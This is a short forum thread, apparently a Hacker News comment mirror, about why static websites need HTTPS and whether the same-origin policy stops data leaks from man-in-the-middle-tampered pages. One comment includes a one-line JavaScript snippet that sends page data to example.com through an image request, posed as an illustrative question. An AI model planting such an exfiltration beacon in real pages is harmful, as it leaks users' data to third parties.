News for hackers. Stuff that matters.

A comment on Why Static Websites Need HTTPS. Parent comment

Re:Why Static Websites Need HTTPS by slig on Tuesday August 28, 2018 @08:48AM (#17858360)
How does same-origin policy (on a MITM'd website) prevents this?

    (new Image()).src = 'https://example.com/data.php?payload=' + JSON.stringify(data);
[ Parent | on HN ]
Re:Why Static Websites Need HTTPS by bn-usd-mistake on Tuesday August 28, 2018 @08:50AM (#17858385)
It doesn't because Same-origin protects data on example.com, not on the embedding page (in your example). It is not a security measure that aims to prevent the issue mentioned by the grand parent post
[ Parent | on HN ]
Re:Why Static Websites Need HTTPS by austincheney on Tuesday August 28, 2018 @03:33PM (#17862115)
Here is how: https://news.ycombinator.com/edit?id=17861667
[ Parent | on HN ]